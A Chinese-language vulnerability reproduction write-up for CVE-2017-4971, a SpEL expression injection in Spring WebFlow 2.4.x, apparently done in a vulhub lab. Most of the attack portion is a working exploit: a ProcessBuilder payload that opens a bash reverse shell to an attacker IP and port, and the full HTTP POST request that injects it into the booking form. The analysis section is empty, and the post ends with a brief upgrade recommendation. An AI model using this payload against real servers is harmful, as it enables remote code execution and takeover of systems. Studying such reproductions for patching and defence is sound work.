发布于 

CVE-2017-4971(Spring WebFlow 2.4.x 任意代码执行)

1. 漏洞描述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行

2. 影响版本

Spring WebFlow 2.4.x

3. 漏洞复现

3.1 访问登录页

访问http://your_ip:8080/login

image-20221022014112203

使用左边提供的账号/密码登录。

3.2 进入登录后界面

image-20221022014234858

输入1 ,访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,

3.3 进入操作页

image-20221022014418809

3.4 填写相关信息

在我们点击ProceedWebFlow就已经正式开始了,我们在点击confirm这里抓包。

image-20221022014633365

image-20221022014741679

3.5 对WebFlow提交抓包

Payload:

1
_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/(ip)/(port)+0>%261")).start()=vulhub

初始数据包:

image-20221022014909487

添加恶意代码的数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /hotels/booking?execution=e1s2 HTTP/1.1
Host: ip:8080
Content-Length: 171
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://8.136.241.0:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ip:8080/hotels/booking?execution=e1s2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E63CB0BF504B7495BC21C39E59E466C9
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

_eventId_confirm=&_csrf=85eea852-4974-41bb-b0e8-56dd6b74f3d3&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/(ip)/(port)+0>%261")).start()=vulhub

image-20221022015301035

3.6 结果

image-20221022015338208

4. 漏洞分析

5. 修复建议

官方已经发布了新版本,请受影响的2.4.X用户及时更新升级至最新的2.4.5版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。